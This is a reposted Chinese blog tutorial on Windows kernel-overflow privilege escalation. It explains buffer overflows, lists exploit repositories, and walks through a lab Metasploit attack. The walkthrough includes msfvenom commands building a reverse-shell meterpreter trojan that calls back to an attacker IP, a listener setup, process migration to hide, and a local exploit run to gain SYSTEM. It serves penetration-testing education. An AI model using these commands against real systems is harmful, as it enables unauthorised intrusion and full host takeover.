当前位置: 首页 > news >正文

Windows系统内核溢出漏洞提权

目录

 Windows内核溢出漏洞原理

溢出漏洞简介

什么是缓冲区

缓冲区溢出

缓冲区溢出目的

Windows内核溢出漏洞利用流程

提权实战思路

手工提权测试

辅助提权

EXP如何寻找

使用MSF提权

关于提权时可能遇到的问题

如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读写目录再执行


 Windows内核溢出漏洞原理

溢出漏洞的全名:缓冲区溢出漏洞。

溢出漏洞简介

溢出漏洞是一种计算机程序的可更正性缺陷。

因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。

什么是缓冲区

在内存空间中预留了一定的存储空间用来缓冲输入或输出的数据。 通俗的讲,缓冲区就是当你打开应用程序或者文件的时候,系统会将数据从内存中复制一份到缓冲区,当再次打开时,系统直接从缓冲区读取,提高打开的速度。

缓冲区溢出

在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。缓冲区溢出就好比是将十升水放进只有五升容量的桶里。很显然,一旦容器满了,余下的部分就会溢出在地板上,弄得一团糟。

缓冲区溢出目的

缓冲区溢出的目的在于扰乱具有某些运行特权的程序的功能,这样可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。

在实际场景中,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区时可能会出现两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以劫持进程、执行任意指令,甚至可以取得系统权限。

Windows内核溢出漏洞利用流程

Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
提权流程:
(1) 获取到一个低权限shell后,执行systeminfo命令查看系统安装的补丁列表
(2) 根据补丁程序与微软的漏洞数据库进行比较,找出可能导致权限提升的漏洞.

提权实战思路

大概有两种思路:

  • 基于手工测试
  • 基于工具的自动化提权:MSF/CS

手工提权测试

主要思路就是获取系统上的补丁信息,根据第三网站或者项目寻找EXP。

辅助提权

Github项目:WindowsVulnScan/version1 at master · chroblert/WindowsVulnScan · GitHub

该工具如何使用请参考我得另外一篇博客:提权神器:WindowsVulnScan_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客

这款工具测试Win7系统时遭遇失败:

还有第三方分析的网站:提权辅助网页 Windows提权辅助

分析结果:

 之后就是根据结果寻找EXP测试

EXP如何寻找

Github上的项目推荐:

GitHub - Ascotbe/Kernelhub: Linux、macOS、Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF map, vulnerability details, executable file (提权漏洞合集)

GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.

项目上集成有大量的EXP,根据上面信息收集获得可利用漏洞逐一尝试即可。

使用MSF提权

测试环境

                靶机:   Win7 192.168.226.133

                攻击机:Kali   192.168.226.132

生成木马:使用第一条命令生成木马 test.exe

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (32位)msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (64位)

进入监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit

另外需要注意一个位置,exe的位置要注意,我们权限低,目录没有修改权限,需要放在我们具有修改执行权限的目录下。

还有就是监听的网卡设置,0.0.0.0 表示监听所有的网卡

这样就建立号后门链接了

 上线后进行进程迁移(隐藏自己),把进程迁移到explore.exe中,1844为进程的pid

migrate 1844

接下来开始提权,使用post/multi/recon/local_exploit_suggester这个模块进行测试

system为Win7最高权限,开始提权!首先输入background命令将session放到后台

 执行攻击模块,它可以快速识别系统中可利用的漏洞

use post/multi/recon/local_exploit_suggester
set session 2
run

 获得了可以用来利用提权的模块,使用对应的脚本然后进行提权即可

use exploit/windows/local/ms16_014_wmi_recv_notif
set session 2
run

 成功提权

关于提权时可能遇到的问题

如何管理会话

sessions -l 显示所有的会话

sessions -i ID 连接指定的会话

在利用msf进行提权操作是出现timed out:Error running command shell: Rex::TimeoutError Operation timed out.

虚拟切换为NAT模式即可

 MSF漏洞利用完成但无法创建会话的几种原因

参考博客:MSF漏洞利用完成但无法创建会话的几种原因_漏洞利用成功但未建立会话_Q1X1的博客-CSDN博客

如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读写目录再执行

http://www.lryc.cn/news/89183.html

相关文章:

  • BlackIce病毒分析
  • 软件测试基础知识整理(八)- 软件缺陷
  • 有没有想过一种可能,30岁之后,转行去做IT售前?
  • 基于决策树的Ensemble方法在边缘计算中的应用
  • golang常见导致panic的场景
  • Python 修改文件权限+只读后几行 can‘t do nonzero end-relative seeks
  • 每日学术速递5.25
  • GAMES202作业1
  • Android 12.0状态栏居中显示时间和修改时间显示样式
  • 湍流的数值模拟方法概述
  • openFast中的陆上风电机组5MW_Land_DLL_WTurb参数详解
  • “卷”还是“躺平”?职场人如何在工作中找到价值感?
  • 《Opencv3编程入门》学习笔记—第二章
  • ABP VNext种子数据按顺序插入
  • Verilog | FIFO简单实现
  • 设计模式应用场景
  • 还在老一套?STM32使用新KEIL5的IDE,全新开发模式RTE介绍及使用
  • Java时间类(十一) -- Date类工具类 -- Java获取当天、本周、本月、本年 开始及结束时间
  • Alma Linux 9.2、Rocky Linux 9.2现在是RHEL 9.2的替代品
  • 推荐5款提高生活和工作效率的好帮手
  • 美团小组长薪资被应届生员工倒挂7K,不把老员工当人?
  • 【Java多线程案例】使用阻塞队列实现生产者消费者模型
  • Spark 3:Spark Core RDD持久化
  • 字节跳动五面都过了,结果被刷了,问了hr原因竟说是...
  • Python日期带时区转换工具类总结
  • 视频会议产品对比分析
  • 每日一练 | 华为认证真题练习Day47
  • ChatIE(LLM大模型用于信息抽取)
  • 提升企业管理效率的利器——ADManager Plus
  • 《入侵的艺术》读书心得:第六章:渗透测试中的智慧与愚昧